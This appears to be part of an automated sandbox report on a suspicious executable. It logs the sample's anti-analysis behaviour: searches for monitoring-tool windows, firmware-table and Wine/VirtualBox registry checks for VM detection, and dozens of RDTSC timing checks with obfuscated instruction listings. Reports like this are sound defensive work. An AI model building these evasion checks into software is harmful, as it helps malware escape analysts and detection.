Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42D143 second address: 42D149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42D149 second address: 42D14F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ACE28 second address: 5ACE36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8FBA01Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ACE36 second address: 5ACE51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6751h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ABEBD second address: 5ABEC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ABEC3 second address: 5ABEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC147 second address: 5AC14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC14B second address: 5AC14F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC46B second address: 5AC46F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE0C0 second address: 5AE0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE0CB second address: 5AE0CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE0CF second address: 5AE112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 42180B9Bh 0x0000000e or dword ptr [ebp+122D1BBCh], edi 0x00000014 push 00000003h 0x00000016 mov dword ptr [ebp+122D1E8Ch], edi 0x0000001c push 00000000h 0x0000001e add ecx, 7F4FC3F8h 0x00000024 push 00000003h 0x00000026 call 00007FD4A8CA6749h 0x0000002b pushad 0x0000002c jmp 00007FD4A8CA674Bh 0x00000031 push eax 0x00000032 push edx 0x00000033 jng 00007FD4A8CA6746h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE2AA second address: 5AE2E0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4A8FBA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push esi 0x00000010 pushad 0x00000011 je 00007FD4A8FBA016h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a pop esi 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD4A8FBA025h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE2E0 second address: 5AE2E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE385 second address: 5AE38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE38B second address: 5AE394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE470 second address: 5AE476 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE476 second address: 5AE4B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6756h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jmp 00007FD4A8CA674Dh 0x00000013 push edi 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop edi 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a jo 00007FD4A8CA6758h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE4B3 second address: 5AE4B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE4B7 second address: 5AE4BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6C07 second address: 5A6C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6C0B second address: 5A6C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FD4A8CA6746h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pushad 0x00000019 popad 0x0000001a jno 00007FD4A8CA6746h 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6C30 second address: 5A6C34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6C34 second address: 5A6C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6C3C second address: 5A6C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD4A8FBA028h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6C5A second address: 5A6C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD62A second address: 5CD641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A8FBA023h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD641 second address: 5CD64B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD4A8CA6746h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD64B second address: 5CD65C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4A8FBA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD65C second address: 5CD66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 jbe 00007FD4A8CA6746h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD66D second address: 5CD675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD675 second address: 5CD67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDCF7 second address: 5CDD10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD4A8FBA016h 0x0000000a pop ecx 0x0000000b jmp 00007FD4A8FBA01Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDD10 second address: 5CDD14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDEC3 second address: 5CDECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD4A8FBA016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDECD second address: 5CDF18 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD4A8CA6755h 0x00000008 jmp 00007FD4A8CA674Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FD4A8CA674Fh 0x00000017 jmp 00007FD4A8CA6758h 0x0000001c jc 00007FD4A8CA6746h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDF18 second address: 5CDF1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDF1D second address: 5CDF22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDF22 second address: 5CDF28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE1EB second address: 5CE1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE1F8 second address: 5CE1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE1FC second address: 5CE200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE35C second address: 5CE362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE362 second address: 5CE371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD4A8CA6746h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE371 second address: 5CE37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD4A8FBA016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE50C second address: 5CE51B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4A8CA6746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE7FC second address: 5CE803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0198 second address: 5A019C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF5C0 second address: 5CF5CA instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4A8FBA022h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF5CA second address: 5CF5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD4A8CA6746h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D29B4 second address: 5D29C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D29C4 second address: 5D29DF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4A8CA6746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4A8CA674Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2B72 second address: 5D2B7C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4A8FBA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1B89 second address: 5D1B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FD4A8CA6746h 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007FD4A8CA6746h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9D3C second address: 5D9D5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8FBA028h 0x00000009 jbe 00007FD4A8FBA016h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9D5E second address: 5D9DA8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4A8CA6746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FD4A8CA6761h 0x00000010 jmp 00007FD4A8CA6755h 0x00000015 ja 00007FD4A8CA6746h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD4A8CA6759h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9DA8 second address: 5D9DC3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD4A8FBA023h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA07E second address: 5DA086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA1D9 second address: 5DA1DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA1DD second address: 5DA1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA1E3 second address: 5DA1E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA1E9 second address: 5DA1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA775 second address: 5DA779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA779 second address: 5DA785 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DA785 second address: 5DA7B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8FBA01Fh 0x00000007 jmp 00007FD4A8FBA029h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC51E second address: 5DC524 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC524 second address: 5DC59B instructions: 0x00000000 rdtsc 0x00000002 je 00007FD4A8FBA024h 0x00000008 jmp 00007FD4A8FBA01Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push ebx 0x00000011 pushad 0x00000012 jmp 00007FD4A8FBA023h 0x00000017 jng 00007FD4A8FBA016h 0x0000001d popad 0x0000001e pop ebx 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 jmp 00007FD4A8FBA029h 0x00000028 mov eax, dword ptr [eax] 0x0000002a jng 00007FD4A8FBA028h 0x00000030 pushad 0x00000031 jmp 00007FD4A8FBA01Eh 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC59B second address: 5DC5AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA674Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC5AD second address: 5DC5B7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4A8FBA01Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCA1C second address: 5DCA22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCA22 second address: 5DCA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCA27 second address: 5DCA3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A8CA6751h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCDB5 second address: 5DCDB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DCDB9 second address: 5DCDF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A8CA6757h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD4A8CA6753h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD40F second address: 5DD413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD4B1 second address: 5DD4CA instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4A8CA6746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jbe 00007FD4A8CA6746h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD4CA second address: 5DD4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD555 second address: 5DD559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD559 second address: 5DD563 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4A8FBA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD563 second address: 5DD583 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD4A8CA6754h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDC52 second address: 5DDC58 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFB9F second address: 5DFBA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DE44B second address: 5DE44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFBA4 second address: 5DFBAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
